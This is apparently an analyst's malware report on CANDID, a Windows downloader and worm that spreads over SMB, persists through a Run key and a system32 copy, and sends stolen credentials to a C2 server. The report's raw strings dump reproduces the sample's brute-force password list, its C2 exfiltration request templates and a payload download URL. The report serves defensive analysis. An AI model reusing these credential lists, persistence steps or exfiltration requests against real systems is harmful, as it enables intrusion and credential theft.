1.0 Summary

Findings and observations:
Downloader that tries hard to establish itself in a system via multiple methods of persistence and also aggressively spreads to other remote and local systems. Exfiltrates data regarding compromised accounts to a C2 server that still exists but appears to be out of service, at least as far as this malware is concerned.

Recommendations:
Running this in user mode (i.e., not with admin privileges) did prevent one of the persistence methods from being successful (the registry edits) but might not keep the other method from being successful (installation in the %system%\system32 directory). Even so, keeping users running at a level of access appropriate for their roles and tasks at hand is recommended. As this malware spreads via SMB on ports 445 and 137/138 it's recommended to block or otherwise secure these ports and services. Blocking access to the C2 sites at fukyu.jp and 125.206.117.59 should prevent the malware from reporting its actions to the C2 controller and should also prevent the malware from receiving updates and instructions.

Conclusion:
An interesting but not very hardened malware sample that steals credentials from users and reports this to its controller.

1.1 Identification

File Name: unknown.exe [which I assigned]
File Type: Windows 32-bit PE
Malware name(s): CANDID
Current detection: 48/56
Malware type: Downloader / Scanner
Size: 45,056 bytes
Packer: Sandboxes report Armadillo 1.71, PEiD reports not packed
Encryption/encoding: None
Origin: Dionaea honeypot running in New York City
Compile time: 2009/03/20 Fri 23:06:29 UTC

Hashes:
```
MD5:e42ae0e10b29f1b36e75fde65c1f788a
SHA1:c156a8344029bf3d5db5fe959d7b860069b1c037
SHA256:c74197710c01332990b294b77fbb3e2060df2a3d8492295895723d93a9fcd766
ssdeep:768:cHC0p5mwel+twV39TD8mRF5rKJZsF6No2:X0p5mwelJ9TD8mv5ImGo
```

Test environment details: Win 7 Home Premium SP1 running in VirtualBox 5.0.18_Ubuntu r106667 on Ubuntu 16.04. Hardware is an Acer Aspire 5742 (Intel i3).

1.2 Dependencies

OS: 32-Bit Windows
Imports (DLLs): AdvApi32, Kernel32, Mpr, NetApi32, Ws2_32
Exports: None
Other: None

2.0 Characteristics

2.1 Behavior
The sample aggressively scans random IP addresses looking for vulnerable systems. If possible, it will enumerate users on vulnerable systems and try to login to those accounts using a selection of weak passwords. It tries multiple methods to achieve persistence on the infected host, and also has a C2 function for both updates and progress reports.

2.2 Infection
The malware spreads via SMB on ports 445 and 137/138. Additionally, finding this malware sample as a standalone executable and running it will result in an infection, so it could also use email as a vector.

2.3 Persistence

Sample adds a registry value to:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005
with the argument of the [full malware file path] /SYNC, e.g. c:\MA\lab\unknown.exe /SYNC

The sample also copies itself to the %system%\system32\dnsapi.exe path and tries to schedule itself as a regular job on the host system (if this fails, it deletes itself).

2.4 Movement

As mentioned earlier, it attempts to access local machines via SMB on ports 137/138 and possibly others. This sample was obtained via SMB (TCP / 445) via a remote machine.

2.5 Data Exfiltration

This sample attempts to send status reports and stolen credentials back to a C2 server at 125.206.117.59 via a php script (HTTP GET / port 80).

2.6 C²
The C2 server at fukyu.jp (currently defunct) appears to serve as a file update / command distribution center. PHP scripts located at 125.206.117.59 receive updates from the malware.

2.7 Signatures

Host signatures are:
%system%\system32\dnsapi.exe
Registry changes:
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005

Network signatures are:
HTTP traffic on port 80 to fukyu.jp, 125.206.117.59
DNS resolution on port 53 of fukyu.jp
Scanning of SMB ports (TCP 445, UDP 137/138) and possibly also others such as UPnP on 1900

3.0 Raw Notes

```
Strings:
```

```
Strings v2.51
Copyright (C) 1999-2013 Mark Russinovich
Sysinternals - www.sysinternals.com


!This program cannot be run in DOS mode.
1Rich
.text
.rdata
.data
VC20XC00U
(null)
(null)
runtime error
TLOSS error
SING error
DOMAIN error
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
abnormal program termination
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
...
<program name unknown>
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
vb@
zb@
H:mm:ss
dddd, MMMM dd, yyyy
M/d/yy
December
November
October
September
August
July
June
April
March
February
```

January
Dec
Nov
Oct
Sep
Aug
Jul
Jun
May
Apr
Mar
Feb
Jan
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
Sat
Fri
Thu
Wed
Tue
Mon
Sun
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
Sleep
lstrlenA
GetModuleFileNameA
WideCharToMultiByte
MultiByteToWideChar
DeleteFileA
CopyFileA
lstrcatA
GetTickCount
GetLocalTime
lstrcpyA
GetComputerNameA
GetLocaleInfoA
CloseHandle
CreateProcessA
FreeLibrary
GetProcAddress
LoadLibraryA
_lclose
_lopen
GetSystemDirectoryA
KERNEL32.dll
RegCloseKey
RegSetValueExA
RegCreateKeyExA
GetUserNameA
ADVAPI32.dll
WS2_32.dll
WNetCancelConnection2A
WNetAddConnection2A
MPR.dll
NetApiBufferFree
NetUserEnum
NetScheduleJobAdd
NetRemoteTOD
NETAPI32.dll
GetLastError

CreateThread
GetCurrentThreadId
TlsSetValue
ExitThread
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
ExitProcess
HeapFree
TlsAlloc
SetLastError
TlsGetValue
HeapAlloc
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
RtlUnwind
FreeEnvironmentStringsA
FreeEnvironmentStringsW
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
DeleteCriticalSection
HeapDestroy
HeapCreate
VirtualFree
WriteFile
InitializeCriticalSection
EnterCriticalSection
LeaveCriticalSection
VirtualAlloc
HeapReAlloc
GetStringTypeA
GetStringTypeW
SetFilePointer
InterlockedDecrement
InterlockedIncrement
GetCPInfo
GetACP
GetOEMCP
SetStdHandle
LCMapStringA
LCMapStringW
FlushFileBuffers
zxcv
yxcv
xxx
win
test123
test
temp123
temp
sybase
super
shadow
sex
server
secret
root
qwerty
qwert
qwer
qazwsxedc

qazwsx
q1w2e3r4t5y6
q1w2e3r4t5
q1w2e3r4
q1w2e3
pwd
pw123
pussy
plmoknijb
plmokn
patrick
pat
password
passwd
pass
owner
oracle
mypc123
mypc
mypass123
mypass
mustang
manager
love
login
Login
letmein
internet
ihavenopass
home
harley
golf
godblessyou
god
foobar
fish
enable
database
computer
baseball
asdfgh
asdfg
asdf
alpha
administrator
admin123
admin
Admin
abcd
abc123
abc
aaa
901100
88888888
8888888
888888
88888
8888
888
7777
6969
654321
54321
5150
4321
321

2600
2112
2009
2008
2007
2005
2003
2002
1q2w3e
1313
123qwe
123asd
123abc
1234qwer
123456789
12345678
1234567
123456
12345
1234
123123
123
121212
1212
11111111
111111
11111
1111
111
110
007
00000000
000000
00000
0000
000
!@#$%^&*
!@#$%^&
!@#$%^
!@#$%
!@#$
!@#
PHIME2005
Software\Microsoft\Windows\CurrentVersion\Run
 /SYNC
%s\ipc$
TaskOK
dnsapi.exe
CopyOK
%s\admin$\system32\dnsapi.exe
LoginOK
\\%s
%d.%d.%d.%d
%04d%02d%02d%02d%02d%02d
GET /updata/TPDA.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s HTTP/1.1
Host: fukyu.jp
1.003
125.206.117.59
GET /updata/TPDB.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s&lg7=%d HTTP/1.1
Host: fukyu.jp
NONE
URLDownloadToFileA
urlmon.dll
DeleteUrlCacheEntry
wininet.dll
http://fukyu.jp/updata/ACCl3.jpg

```
\msupd.exe
PST
PDT
```